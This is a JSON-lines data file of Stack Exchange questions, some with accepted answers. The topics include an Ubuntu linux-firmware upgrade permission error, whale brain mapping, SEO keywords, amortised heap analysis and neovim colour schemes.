{  "id": "_unix.371027"  , "question": "I have had the following error for the last month or so when trying to do a standard:apt-get upgradeor update-managerOutput from terminal is as follows:Reading package lists...Building dependency tree...Reading state information...Calculating upgrade...The following packages will be upgraded:  linux-firmware1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.11 not fully installed or removed.Need to get 0 B/38.7 MB of archives.After this operation, 5,624 kB of additional disk space will be used.(Reading database ... 408213 files and directories currently installed.)Preparing to unpack .../linux-firmware_1.157.10_all.deb ...Unpacking linux-firmware (1.157.10) over (1.157.8) ...dpkg: error processing archive /var/cache/apt/archives/linux-firmware_1.157.10_all.deb (--unpack):unable to create '/lib/firmware/brcm/brcmfmac4330-sdio.bin.dpkg-new' (while processing './lib/firmware/brcm/brcmfmac4330-sdio.bin'): Permission denieddpkg-deb: error: subprocess paste was killed by signal (Broken pipe)update-initramfs: Generating /boot/initrd.img-4.4.0-79-genericupdate-initramfs: Generating /boot/initrd.img-4.4.0-78-genericupdate-initramfs: Generating /boot/initrd.img-3.13.0-106-genericErrors were encountered while processing: /var/cache/apt/archives/linux-firmware_1.157.10_all.debE: Sub-process /usr/bin/dpkg returned an error code (1)I have tried deleting the file at:'./lib/firmware/brcm/brcmfmac4330-sdio.bin'and then reinstalling but no luck.I have also looked at:https://bugs.launchpad.net/ubuntu/+source/linux-firmware/+bug/1688602 but my issue does not seem to be with *.ucode drivers.Was wondering if it was my graphics card but my system at home is 16.04 too and it has a much older graphics card and there seems to be no problem there. Still a noob so any help appreciated.Cheers.Edit: Added:total 75224drwxr-xr-x 74 root    root      32768 Jun 14 08:27 .drwxr-xr-x 26 root    root       4096 Jun  7 10:00 ..drwxr-xr-x 11 root    root       4096 Jan  3 08:53 3.13.0-106-genericdrwxr-xr-x  2 root    root       4096 Feb 12 13:29 3comdrwxr-xr-x 11 root    root       4096 May 17 15:10 4.4.0-78-genericdrwxr-xr-x 11 root    root       4096 Jun  7 10:04 4.4.0-79-genericdrwxr-xr-x  2 root    root       4096 Feb 12 13:29 acenicdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 adaptecdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 advansys-rw-r--r--  1 root    root      50698 Apr 25  2016 agere_ap_fw.bin-rw-r--r--  1 root    root      65046 Apr 25  2016 agere_sta_fw.bindrwxr-xr-x  2 root    root      12288 Jun 14 08:27 amdgpudrwxr-xr-x  3 root    root       4096 Jun 14 08:27 ar3k-rw-r--r--  1 root    root     153416 Dec  1  2016 ar5523.bin-rw-r--r--  1 root    root      95500 Dec  1  2016 as102_data1_st.hex-rw-r--r--  1 root    root      81820 Dec  1  2016 as102_data2_st.hexdrwxr-xr-x  2 root    root       4096 Feb 12 13:29 asihpidrwxr-xr-x 10 root    root       4096 Jan  3 09:25 ath10k-rw-r--r--  1 root    root     246804 Jan  6 17:56 ath3k-1.fwdrwxr-xr-x  4 root    root       4096 Apr 17  2014 ath6kdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 ath9k_htcdrwxr-xr-x  2 root    root       4096 Feb 12 13:29 atmel-rw-r--r--  1 root    root      35180 Jan  6 17:56 atmel_at76c504_2958.bin-rw-r--r--  1 root    root      39928 Jan  6 17:56 atmel_at76c504a_2958.bin-rw-r--r--  1 root    root       9726 Apr 25  2016 atmsar11.fwdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 atusbdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 av7110drwxr-xr-x  2 root    root       4096 Jun 14 08:27 bnx2xdrwxr-xr-x  2 root    root       4096 Feb 13 14:54 brcm-rw-r--r--  1 root    root      13388 Dec  1  2016 carl9170-1.fwdrwxr-xr-x  9 root    root       4096 Jun 14 08:27 carl9170fw-rw-r--r--  1 root    root     412528 Apr 25  2016 cbfw-3.2.1.1.bin-rw-r--r--  1 root    root     414016 Apr 25  2016 cbfw-3.2.3.0.bin-rw-r--r--  1 root    root     414480 Dec  1  2016 cbfw-3.2.5.1.bindrwxr-xr-x  3 root    root       4096 Jun 14 08:27 cis-rw-r--r--  1 root    root        107 Dec  1  2016 configuredrwxr-xr-x  2 root    root       4096 Jun 14 08:27 cpia2-rw-r--r--  1 root    root     582440 Apr 25  2016 ct2fw-3.2.1.1.bin-rw-r--r--  1 root    root     583688 Apr 25  2016 ct2fw-3.2.3.0.bin-rw-r--r--  1 root    root     584216 Dec  1  2016 ct2fw-3.2.5.1.bin-rw-r--r--  1 root    root     655436 Dec  1  2016 ctefx.bin-rw-r--r--  1 root    root     537160 Apr 25  2016 ctfw-3.2.1.1.bin-rw-r--r--  1 root    root     538712 Apr 25  2016 ctfw-3.2.3.0.bin-rw-r--r--  1 root    root     539144 Dec  1  2016 ctfw-3.2.5.1.bin-rw-r--r--  1 root    root       4120 Dec  1  2016 ctspeq.bindrwxr-xr-x  2 root    root       4096 Jun 14 08:27 cxgb3drwxr-xr-x  2 root    root       4096 Jun 14 08:27 cxgb4drwxr-xr-x  2 root    root       4096 Jun 14 08:27 dsp56k-rw-r--r--  1 root    root      18643 Dec  1  2016 dvb-fe-xc4000-1.4.1.fw-rw-r--r--  1 root    root      12401 Apr 25  2016 dvb-fe-xc5000-1.6.114.fw-rw-r--r--  1 root    root      16497 Dec  1  2016 dvb-fe-xc5000c-4.1.30.7.fw-rw-r--r--  1 root    root      33768 Apr 25  2016 dvb-usb-dib0700-1.20.fw-rw-r--r--  1 root    root       8128 Dec  1  2016 dvb-usb-it9135-01.fw-rw-r--r--  1 root    root       5834 Dec  1  2016 dvb-usb-it9135-02.fw-rw-r--r--  1 root    root      50222 Apr 25  2016 dvb-usb-terratec-h5-drxk.fwdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 eadrwxr-xr-x  2 root    root       4096 Jun 14 08:27 edgeportdrwxr-xr-x  2 root    root       4096 Feb 12 13:29 emi26drwxr-xr-x  2 root    root       4096 Jun 14 08:27 emi62drwxr-xr-x  2 root    root       4096 Feb 12 13:29 ene-ub6250drwxr-xr-x  2 root    root       4096 Feb 12 13:29 ess-rw-r--r--  1 root    root     180776 Apr 25  2016 f2255usb.bindrwxr-xr-x  2 root    root       4096 Feb 12 13:29 go7007-rw-r--r--  1 root    root      35068 Apr 25  2016 GPL-3-rw-r--r--  1 root    root      31828 Jan  6 17:56 hfi1_dc8051.fw-rw-r--r--  1 root    root      16848 Dec  1  2016 hfi1_fabric.fw-rw-r--r--  1 root    root      33168 Dec  1  2016 hfi1_pcie.fw-rw-r--r--  1 root    root       5360 Dec  1  2016 hfi1_sbus.fwdrwxr-xr-x  2 root    root       4096 Feb 18  2014 hp-rw-r--r--  1 root    root      72684 Dec  9  2016 htc_7010.fw-rw-r--r--  1 root    root      50980 Dec  9  2016 htc_9271.fw-rw-r--r--  1 root    root    1251036 Apr 25  2016 i2400m-fw-usb-1.4.sbcf-rw-r--r--  1 root    root    1334532 Apr 25  2016 i2400m-fw-usb-1.5.sbcf-rw-r--r--  1 root    root    1531932 Apr 25  2016 i6050-fw-usb-1.5.sbcfdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 i915drwxr-xr-x  2 root    root       4096 Jun 14 08:27 intel-rw-r--r--  1 root    root     209190 Jan  6 17:56 ipw2100-1.3.fw-rw-r--r--  1 root    root     201138 Jan  6 17:56 ipw2100-1.3-i.fw-rw-r--r--  1 root    root     196458 Jan  6 17:56 ipw2100-1.3-p.fw-rw-r--r--  1 root    root     191154 Jan  6 17:56 ipw2200-bss.fw-rw-r--r--  1 root    root     185428 Jan  6 17:56 ipw2200-ibss.fw-rw-r--r--  1 root    root     187836 Jan  6 17:56 ipw2200-sniffer.fwdrwxr-xr-x  2 root    root       4096 Feb 12 13:29 isci-rw-r--r--  1 root    root     337520 Apr 25  2016 iwlwifi-1000-5.ucode-rw-r--r--  1 root    root     337572 Apr 25  2016 iwlwifi-100-5.ucode-rw-r--r--  1 root    root     689680 Apr 25  2016 iwlwifi-105-6.ucode-rw-r--r--  1 root    root     701228 Apr 25  2016 iwlwifi-135-6.ucode-rw-r--r--  1 root    root     695876 Apr 25  2016 iwlwifi-2000-6.ucode-rw-r--r--  1 root    root     707392 Apr 25  2016 iwlwifi-2030-6.ucode-rw-r--r--  1 root    root     609892 Dec  1  2016 iwlwifi-3160-10.ucode-rw-r--r--  1 root    root     683996 Dec  1  2016 iwlwifi-3160-12.ucode-rw-r--r--  1 root    root     688616 Dec  1  2016 iwlwifi-3160-13.ucode-rw-r--r--  1 root    root     918212 Dec  1  2016 iwlwifi-3160-16.ucode-rw-r--r--  1 root    root     918268 Dec  9  2016 iwlwifi-3160-17.ucode-rw-r--r--  1 root    root     670484 Apr 25  2016 iwlwifi-3160-7.ucode-rw-r--r--  1 root    root     667284 Apr 25  2016 iwlwifi-3160-8.ucode-rw-r--r--  1 root    root     669872 Dec  1  2016 iwlwifi-3160-9.ucode-rw-r--r--  1 root    root    1384856 Dec  9  2016 iwlwifi-3168-21.ucode-rw-r--r--  1 root    root    1028032 Dec  9  2016 iwlwifi-3168-22.ucode-rw-r--r--  1 root    root     150100 Apr 25  2016 iwlwifi-3945-2.ucode-rw-r--r--  1 root    root     187972 Apr 25  2016 iwlwifi-4965-2.ucode-rw-r--r--  1 root    root     340696 Nov 30  2016 iwlwifi-5000-5.ucode-rw-r--r--  1 root    root     337400 Apr 25  2016 iwlwifi-5150-2.ucode-rw-r--r--  1 root    root     454608 Apr 25  2016 iwlwifi-6000-4.ucode-rw-r--r--  1 root    root     444128 Apr 25  2016 iwlwifi-6000g2a-5.ucode-rw-r--r--  1 root    root     677296 Apr 25  2016 iwlwifi-6000g2a-6.ucode-rw-r--r--  1 root    root     679436 Apr 25  2016 iwlwifi-6000g2b-6.ucode-rw-r--r--  1 root    root     469780 Apr 25  2016 iwlwifi-6050-5.ucode-rw-r--r--  1 root    root     672352 Dec  1  2016 iwlwifi-7260-10.ucode-rw-r--r--  1 root    root     782300 Dec  1  2016 iwlwifi-7260-12.ucode-rw-r--r--  1 root    root     786920 Dec  1  2016 iwlwifi-7260-13.ucode-rw-r--r--  1 root    root    1049284 Dec  1  2016 iwlwifi-7260-16.ucode-rw-r--r--  1 root    root    1049340 Dec  9  2016 iwlwifi-7260-17.ucode-rw-r--r--  1 root    root     683236 Apr 25  2016 iwlwifi-7260-7.ucode-rw-r--r--  1 root    root     679780 Dec  1  2016 iwlwifi-7260-8.ucode-rw-r--r--  1 root    root     680508 Dec  1  2016 iwlwifi-7260-9.ucode-rw-r--r--  1 root    root     736844 Dec  1  2016 iwlwifi-7265-10.ucode-rw-r--r--  1 root    root     880604 Dec  1  2016 iwlwifi-7265-12.ucode-rw-r--r--  1 root    root     885224 Dec  1  2016 iwlwifi-7265-13.ucode-rw-r--r--  1 root    root    1180356 Dec  1  2016 iwlwifi-7265-16.ucode-rw-r--r--  1 root    root    1180412 Dec  9  2016 iwlwifi-7265-17.ucode-rw-r--r--  1 root    root     690452 Apr 25  2016 iwlwifi-7265-8.ucode-rw-r--r--  1 root    root     697828 Dec  1  2016 iwlwifi-7265-9.ucodelrwxrwxrwx  1 root    root         21 Dec  9  2016 iwlwifi-7265D-10.ucode -> iwlwifi-7265-10.ucode-rw-r--r--  1 root    root    1002800 Dec  1  2016 iwlwifi-7265D-12.ucode-rw-r--r--  1 root    root    1008692 Dec  1  2016 iwlwifi-7265D-13.ucode-rw-r--r--  1 root    root    1384500 Dec  1  2016 iwlwifi-7265D-16.ucode-rw-r--r--  1 root    root    1383604 Dec  9  2016 iwlwifi-7265D-17.ucode-rw-r--r--  1 root    root    1385368 Dec  9  2016 iwlwifi-7265D-21.ucode-rw-r--r--  1 root    root    1028316 Dec  9  2016 iwlwifi-7265D-22.ucode-rw-r--r--  1 root    root    1745176 Dec  1  2016 iwlwifi-8000C-13.ucode-rw-r--r--  1 root    root    2351636 Dec  1  2016 iwlwifi-8000C-16.ucode-rw-r--r--  1 root    root    2394060 Dec  9  2016 iwlwifi-8000C-21.ucode-rw-rw-r--  1 michael michael 2120860 Jun  7 11:44 iwlwifi-8000C-23.ucode-rw-r--r--  1 root    root    2389968 Dec  9  2016 iwlwifi-8265-21.ucode-rw-r--r--  1 root    root    1811984 Dec  9  2016 iwlwifi-8265-22.ucodedrwxr-xr-x  2 root    root       4096 Jun 14 08:27 kawethdrwxr-xr-x  2 root    root       4096 Feb 12 13:29 keyspandrwxr-xr-x  2 root    root       4096 Jun 14 08:27 keyspan_pdadrwxr-xr-x  2 root    root       4096 Feb 12 13:29 korg-rw-r--r--  1 root    root     118888 Apr 25  2016 lbtf_usb.bin-rw-r--r--  1 root    root        262 Apr 25  2016 lgs8g75.fwdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 libertasdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 liquidio-rw-r--r--  1 root    root        370 Jan  6 17:56 Makefiledrwxr-xr-x  2 root    root       4096 Jun 14 08:27 matroxdrwxr-xr-x  2 root    root       4096 Feb 12 13:29 moxadrwxr-xr-x  2 root    root       4096 Jun 14 08:27 mrvl-rw-r--r--  1 root    root      45412 Dec  1  2016 mt7601u.bin-rw-r--r--  1 root    root     368220 Dec  1  2016 mt7650.bin-rw-r--r--  1 root    root      13847 Apr 25  2016 mts_cdma.fw-rw-r--r--  1 root    root      14067 Apr 25  2016 mts_edge.fw-rw-r--r--  1 root    root      13847 Apr 25  2016 mts_gsm.fw-rw-r--r--  1 root    root      13769 Apr 25  2016 mts_mt9234mu.fw-rw-r--r--  1 root    root      13769 Apr 25  2016 mts_mt9234zba.fwdrwxr-xr-x  2 root    root       4096 Feb 12 13:29 mwl8kdrwxr-xr-x  2 root    root       4096 Feb 12 13:29 mwlwifi-rw-r--r--  1 root    root     378832 Dec  1  2016 myri10ge_eth_big_z8e.dat-rw-r--r--  1 root    root     389144 Dec  1  2016 myri10ge_ethp_big_z8e.dat-rw-r--r--  1 root    root     389056 Dec  1  2016 myri10ge_ethp_z8e.dat-rw-r--r--  1 root    root     378736 Dec  1  2016 myri10ge_eth_z8e.dat-rw-r--r--  1 root    root     536192 Dec  1  2016 myri10ge_rss_eth_big_z8e.dat-rw-r--r--  1 root    root     545936 Dec  1  2016 myri10ge_rss_ethp_big_z8e.dat-rw-r--r--  1 root    root     545920 Dec  1  2016 myri10ge_rss_ethp_z8e.dat-rw-r--r--  1 root    root     536176 Dec  1  2016 myri10ge_rss_eth_z8e.dat-rw-r--r--  1 root    root      15664 Jan  6 17:56 NPE-B-rw-r--r--  1 root    root      15664 Jan  6 17:56 NPE-Cdrwxr-xr-x 10 root    root       4096 Jan  3 09:25 nvidiadrwxr-xr-x  2 root    root       4096 Jun 14 08:27 ositech-rw-r--r--  1 root    root    1845305 Dec  1  2016 phanfw.bin-rw-r--r--  1 root    root     463612 Dec  1  2016 qat_895xcc.bin-rw-r--r--  1 root    root     114176 Dec  1  2016 qat_895xcc_mmp.bin-rw-r--r--  1 root    root     265444 Dec  1  2016 qat_c3xxx.bin-rw-r--r--  1 root    root     114820 Dec  1  2016 qat_c3xxx_mmp.bin-rw-r--r--  1 root    root     398144 Dec  1  2016 qat_c62x.bin-rw-r--r--  1 root    root     114820 Dec  1  2016 qat_c62x_mmp.binlrwxrwxrwx  1 root    root         18 Dec  1  2016 qat_mmp.bin -> qat_895xcc_mmp.bindrwxr-xr-x  2 root    root       4096 Feb 12 13:29 qcadrwxr-xr-x  2 root    root       4096 Jun 14 08:27 qed-rw-r--r--  1 root    root      76802 Apr 25  2016 ql2100_fw.bin-rw-r--r--  1 root    root      84566 Apr 25  2016 ql2200_fw.bin-rw-r--r--  1 root    root     125252 Dec  1  2016 ql2300_fw.bin-rw-r--r--  1 root    root     136038 Dec  1  2016 ql2322_fw.bin-rw-r--r--  1 root    root     264520 Dec  9  2016 ql2400_fw.bin-rw-r--r--  1 root    root     275160 Dec  9  2016 ql2500_fw.bindrwxr-xr-x  2 root    root       4096 Jun 14 08:27 r128-rw-r--r--  1 root    root       9452 Dec  1  2016 r8a779x_usb3_v1.dlmem-rw-r--r--  1 root    root       9472 Jan  6 17:56 r8a779x_usb3_v2.dlmemdrwxr-xr-x  2 root    root      36864 Jun 14 08:27 radeon-rw-r--r--  1 root    root       1562 Jan  6 17:56 README-rw-r--r--  1 root    root         63 Dec  1  2016 rp2.fw-rw-r--r--  1 root    root      94100 Dec  1  2016 rsi_91x.fw-rw-r--r--  1 root    root       8192 Apr 25  2016 rt2561.bin-rw-r--r--  1 root    root       8192 Apr 25  2016 rt2561s.bin-rw-r--r--  1 root    root       8192 Apr 25  2016 rt2661.bin-rw-r--r--  1 root    root       8192 Jan  6 17:56 rt2860.bin-rw-r--r--  1 root    root       8192 Jan  6 17:56 rt2870.binlrwxrwxrwx  1 root    root         10 Apr 25  2016 rt3070.bin -> rt2870.binlrwxrwxrwx  1 root    root         10 Apr 25  2016 rt3090.bin -> rt2860.bin-rw-r--r--  1 root    root       4096 Nov 30  2016 rt3290.bin-rw-r--r--  1 root    root       2048 Apr 25  2016 rt73.bindrwxr-xr-x  2 root    root       4096 Jun 14 08:27 RTL8192Edrwxr-xr-x  2 root    root       4096 Feb 12 13:29 rtl_btdrwxr-xr-x  2 root    root       4096 Feb 12 13:29 rtl_nicdrwxr-xr-x  2 root    root       4096 Feb 12 13:29 rtlwifilrwxrwxrwx  1 root    root         17 Dec  1  2016 s2250.fw -> go7007/s2250-2.fwlrwxrwxrwx  1 root    root         17 Dec  1  2016 s2250_loader.fw -> go7007/s2250-1.fw-rw-r--r--  1 root    root     352652 Dec  9  2016 s5p-mfc.fw-rw-r--r--  1 root    root     306312 Dec  9  2016 s5p-mfc-v6.fw-rw-r--r--  1 root    root     343756 Dec  9  2016 s5p-mfc-v6-v2.fw-rw-r--r--  1 root    root     382724 Dec  9  2016 s5p-mfc-v7.fw-rw-r--r--  1 root    root     360576 Dec  9  2016 s5p-mfc-v8.fwdrwxr-xr-x  2 root    root       4096 Feb 12 13:29 sb16drwxr-xr-x  2 root    root       4096 Jun 14 08:27 scripts-rw-r--r--  1 root    root        816 Dec  1  2016 sdd_sagrad_1091_1098.bindrwxr-xr-x  2 root    root       4096 Feb 12 13:29 slicossdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 sundrwxr-xr-x  2 root    root       4096 Jun 14 08:27 tehuti-rw-r--r--  1 root    root      13765 Apr 25  2016 ti_3410.fw-rw-r--r--  1 root    root      13764 Apr 25  2016 ti_5052.fwdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 ti-connectivitydrwxr-xr-x  2 root    root       4096 Jun 14 08:27 tigondrwxr-xr-x  2 root    root       4096 Jun 14 08:27 ti-keystone-rw-r--r--  1 root    root      51972 Apr 25  2016 tlg2300_firmware.bindrwxr-xr-x  2 root    root       4096 Jun 14 08:27 ttusb-budgetdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 ueagle-atmdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 usbdux-rw-r--r--  1 root    root        999 Apr 25  2016 usbduxfast_firmware.bin-rw-r--r--  1 root    root       1770 Apr 25  2016 usbdux_firmware.bin-rw-r--r--  1 root    root       8192 Jan  6 17:57 usbduxsigma_firmware.bin-rw-r--r--  1 root    root      16382 Apr 25  2016 v4l-cx231xx-avcore-01.fw-rw-r--r--  1 root    root     141200 Apr 25  2016 v4l-cx23418-apu.fw-rw-r--r--  1 root    root     158332 Apr 25  2016 v4l-cx23418-cpu.fw-rw-r--r--  1 root    root      16382 Apr 25  2016 v4l-cx23418-dig.fw-rw-r--r--  1 root    root     262144 Jan  6 17:56 v4l-cx2341x-dec.fw-rw-r--r--  1 root    root     376836 Jan  6 17:56 v4l-cx2341x-enc.fw-rw-r--r--  1 root    root     155648 Jan  6 17:56 v4l-cx2341x-init.mpg-rw-r--r--  1 root    root      16382 Apr 25  2016 v4l-cx23885-avcore-01.fw-rw-r--r--  1 root    root      16382 Apr 25  2016 v4l-cx25840.fw-rw-r--r--  1 root    root       8192 Jan  6 17:56 v4l-pvrusb2-24xxx-01.fw-rw-r--r--  1 root    root       8192 Jan  6 17:56 v4l-pvrusb2-29xxx-01.fwdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 vicam-rw-r--r--  1 root    root      11341 Apr 25  2016 vntwusb.fw-rw-r--r--  1 root    root    4082928 Jan  6 17:56 vpu_d.bin-rw-r--r--  1 root    root     131160 Jan  6 17:56 vpu_p.bindrwxr-xr-x  2 root    root       4096 Feb 12 13:29 vxge-rw-r--r--  1 root    root       4685 Jan  6 17:56 WHENCE.ubuntu-rw-r--r--  1 root    root      23554 Apr 25  2016 whiteheat.fw-rw-r--r--  1 root    root       5626 Apr 25  2016 whiteheat_loader.fw-rw-r--r--  1 root    root      97824 Dec  1  2016 wsm_22.bindrwxr-xr-x  2 root    root       4096 Jun 14 08:27 yamdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 yamaha-rw-r--r--  1 root    root      62484 Jan  6 17:56 zd1201-ap.fw-rw-r--r--  1 root    root      70612 Jan  6 17:56 zd1201.fwdrwxr-xr-x  2 root    root       4096 Jun 14 08:27 zd1211 </blockquote>Ok, so I have found out that some files have Linux attributes as well as permissions. These attributes can limit file deletion see man chattr. So  I did lsattr on the brcm folder contents (I could not delete this folder using rm -rf) and found that all the files had the -e flag. From the manpage I found that you cannot change the -e attribute using chattr. So now my question is:How do you remove files with the -e attribute? I did not receive an answer to the above. I am not sure it can be done. In the end my solution was to reinstall Ubuntu 16.04. I am not sure what caused this error or how to solve it. "  , "title": "linux-firmware_1.157.10 installation error: cannot remove '/lib/firmware/brcm/brcmfmac43362-sdio.bin': Permission denied. "  , "tags": "ubuntu;kernel;linux kernel;ext4;firmware"  } 
{  "id": "_cogsci.44"  , "question": "Elephants and whales have brains that are much larger than those of humans. It is presumed that much of their brain is used up for their larger bodies (after all, there is a allometric scaling between brain weight and body weight in mammals). Do elephants and whales really need super-large somatosensory cortices to map to their larger bodies? Have we mapped out the parts of the brains of a whale or elephant to see which parts of the brain are mapped to which parts of the body?With whales in particular, they don't even have arms or legs, so I wouldn't expect them to have large regions of the brain devoted to, say, fine-motor skills.Yet, it is apparent (to many people) that whales and elephants don't have drastically higher intelligence than humans. So their extra brain regions have to go somewhere. Where do they go to?I asked the same question here, though I'm not convinced by any of the answers provided."  , "title": "What do the super-large brains of whales and elephants map to?"  , "tags": "neurobiology;animal cognition"  } 
{  "id": "_webmaster.6093"  , "question": "I am very new in this field and I wanted to do SEO for my blog .How many keywords should I select?After selecting the keywords,shouldI always focus on those keywordsonly?I mean whatever the post is Imust add those keywords?or should itdepend upon the posts?"  , "title": "How many keywords should be selected for SEO?"  , "tags": "seo"  , "accepted_answer": "There is no number of keywords for a blog or a website. It's a number per page as it's the pages that are ranked, not entire sites or blogs. Each page should be about a very specific topic so the number of keywords it targets, intentionally or not, shouldn't be very large. If you find a page covers a large number of keywords that may be a sign it needs to be split up into multiple pages or posts. I'm not going to give you a specific number of keywords to target per page as not only isn't there a set number, but you should be writing your content for your users and not focusing on how you can fit keywords into the content. If you write your content properly you'll find that approximately a handful of popular/semi-popular keywords will be targeted naturally for you with a bunch of long tail keywords sprinkled in, too."  } 
{  "id": "_cogsci.5167"  , "question": "It's fairly well documented that childhood trauma (such as chronic illness) can lay the neurochemical groundwork for conditions like depression later in life. A paper, The link between childhood trauma and depression: insights from HPA axis studies in humans, states:We here summarize results from a series of clinical studies suggesting that childhood trauma in humans is associated with sensitization of the neuroendocrine stress response, glucocorticoid resistance, increased central corticotropin-releasing factor (CRF) activity, immune activation, and reduced hippocampal volume, closely paralleling several of the neuroendocrine features of depression. Neuroendocrine changes secondary to early-life stress likely reflect risk to develop depression in response to stress, potentially due to failure of a connected neural circuitry implicated in emotional, neuroendocrine and autonomic control to compensate in response to challenge.Late Consequences of Pediatric Chronic Illness has some related findings too.I'm interested in what psychological groundwork might be also laid by early life stress such as childhood illness, also contributing to the development of mental health conditions. For example, I've read of cases where chronic childhood pain may cause the patient to have an unhealthily high acceptance (not tolerance) of stress as an adult, meaning they persist in stressful situations where others would not. They've learned that pain is to be accepted and worked through to an extent beyond which many would think reasonable, and this may lead to stress related illness.Are there any other maladaptive behaviours, cognitive distortions or similar that commonly occur in adults who experienced chronic childhood illness?(Also interested in evidence related to my anecdotal example.)EDIT (31st Dec 2013): Thanks to caseyr547 for his answer. To clarify, I'm particularly interested in answers using the behavioural, cognitive and psychodynamic models, as opposed to the biological or stress-vulnerability models."  , "title": "What maladaptive behaviours or cognitive distortions develop as a result of chronic childhood illness?"  , "tags": "developmental psychology;depression"  } 
{  "id": "_unix.242748"  , "question": "I am having trouble figuring out how to determine the linux kernel version by analyzing a memory snapshot from a linux VM. I have used hexdump to examine the binary but can't find anything that would explicitly tell me what the version is. Any help would be appreciated."  , "title": "How to determine kernel version from linux vm snapshot"  , "tags": "linux;virtualbox;forensics"  } 
{  "id": "_cs.7894"  , "question": "I need help figuring the potential function for a max heap so that extract max is completed in $O(1)$ amortised time. I should add that I do not have a good understanding of the potential method. I know that the insert function should pay more in order to reduce the cost of the extraction, and this has to be in regards to the height of the heap (if $ \\lfloor \\log(n) \\rfloor $ gives the height of the heap should the insert be $2\\log(n)$ or $ \\sum_{k=1}^n 2\\log(k) $)"  , "title": "Potential function binary heap extract max O(1)"  , "tags": "data structures;runtime analysis;heaps;amortized analysis"  , "accepted_answer": "Try the following:The weight $w_i$ of an element $i$ in the heap $H$ is its depth in the corresponding binary tree. So the element in the root has weight zero, its two children have weight 1 and so on. The you define as potential function$$\\Phi(H)=\\sum_{i\\in H}2  w_i.$$Let us now analyze the heap operations. For insert you add a new element add depth $d$ at most $\\log(n)$. This increases the potential by $2d$, and can be done in $O(1)$ time. Then you bubble up the new heap element to assure the heap-property. This takes $O(\\log n)$ time and leaves $\\Phi(H)$ unchanged. Thus the costs for insert are $O(\\log(n)+\\Delta(\\Phi(H)))=O(\\log n)$.Now consider the extractMin. You take out the root and replace it by the last element in the heap. This decreases the potential by $2\\log(n)$, thus you can afford to repair the heap property, and therefore the amortized costs are now $O(1)$.If you have a general question for the potential function you should pose this as a different question."  } 
{  "id": "_unix.336670"  , "question": "I've been fiddling with neovim color schemes for a while now, and cannot make them look same as on previews.I'm using terminal.app on osx, and thought it was 256 color cap problem, so I moved to iterm2 which has true color support - while it improved some things, color schemes are nowhere near to screenshots I see!this is how solarized theme looks in iterm2 + neovimthis is nothing close to https://github.com/altercation/vim-colors-solarized screenshots!I've used google foo but without success, surely there is a way to get colors right. Any ideas?  ***************************************************************************** Plug install packages***************************************************************************** Specify a directory for pluginscall plug#begin('~/.config/nvim/plugged')Plug 'tomasr/molokai'Plug 'dracula/vim'Plug 'justb3a/vim-smarties'Plug 'tyrannicaltoucan/vim-quantum'  let g:quantum_black = 1Plug 'mhartington/oceanic-next'Plug 'altercation/vim-colors-solarized' Plug 'vim-scripts/CSApprox'Plug 'ctrlpvim/ctrlp.vim'Plug 'scrooloose/nerdtree'Plug 'airblade/vim-gitgutter'Plug 'bronson/vim-trailing-whitespace'Plug 'editorconfig/editorconfig-vim'Plug 'Raimondi/delimitMate'Plug 'scrooloose/syntastic'Plug 'Yggdroot/indentLine'Plug 'tpope/vim-commentary'Plug 'sheerun/vim-polyglot'Plug 'valloric/matchtagalways' Initialize plugin systemcall plug#end()***************************************************************************** Visual Settings*****************************************************************************set numberset rulerset nowraplet $NVIM_TUI_ENABLE_TRUE_COLOR=1 set termguicolors  unfortunately doesn't work in terminal.app - needs true color support, like iterm2 but it lags and diff in visuals is not that much so sticking to terminal.app for nowset background=darkcolorscheme solarized***************************************************************************** NERDTree config***************************************************************************** open NERDTree automatically when vim starts up on opening a directoryautocmd StdinReadPre * let s:std_in=1autocmd VimEnter * if argc() == 1 && isdirectory(argv()[0]) && !exists(s:std_in) | exe 'NERDTree' argv()[0] | wincmd p | ene | endif keep focus on NERDTree when opening a directoryautocmd VimEnter * wincmd p close vim if the only window left open is a NERDTreeautocmd bufenter * if (winnr($) == 1 && exists(b:NERDTree) && b:NERDTree.isTabTree()) | q | endif***************************************************************************** Optimizations*****************************************************************************set lazyredrawlet g:python_host_skip_check = 1let g:python3_host_skip_check = 1***************************************************************************** syntastic*****************************************************************************let g:syntastic_always_populate_loc_list = 1let g:syntastic_auto_loc_list = 1let g:syntastic_check_on_open = 1let g:syntastic_check_on_wq = 0***************************************************************************** yank and cut to osx clipboard*****************************************************************************noremap YY +y<CR>noremap XX +x<CR>***************************************************************************** indent***************************************************************************** tabsset listchars=tab:\\ ,eol:set list spaceslet g:indentLine_enabled = 1let g:indentLine_concealcursor = 0let g:indentLine_char = ''let g:indentLine_faster = 1set tabstop=2***************************************************************************** matchtagalways*****************************************************************************let g:mta_filetypes = { 'html' : 1, 'xhtml' : 1, 'xml' : 1, 'jinja' : 1, 'php': 1 }***************************************************************************** ctrlp*****************************************************************************set wildignore+=*.o,*.obj,.git,*.rbc,*.pyc,__pycache__let g:ctrlp_custom_ignore = '\\v[\\/](node_modules|target|dist)|(\\.(swp|tox|ico|git|hg|svn))$'"  , "title": "cannot get color schemes to display correctly in neovim"  , "tags": "vim"  } 
{  "id": "_softwareengineering.173186"  , "question": "What are the best ways of gathering information on events (any type) from the internet ?Keeping in mind that different websites will present information in different ways.I was thinking 'smart' web crawlers, but that can turn out to be extremely challenging, simply because of the hugely varied ways that different sites present their information.Then I was thinking of sifting through the official twitter feeds of organisations, people with knowledge of events .. etc and look for the event hash tag, grab the tweet and dissect it to grab the relevant information about the event.Information I am interested in gathering is: Date and Time of Event, Address where Event is being held, and any Celebrities (or any famous people) attending the event (if any).The reason to ask here is my hope that experienced folk will open my eyes to things I've missed, which I am sure I have."  , "title": "Ways of Gathering Event Information From the Internet"  , "tags": "artificial intelligence;social networks;web crawler"  } 
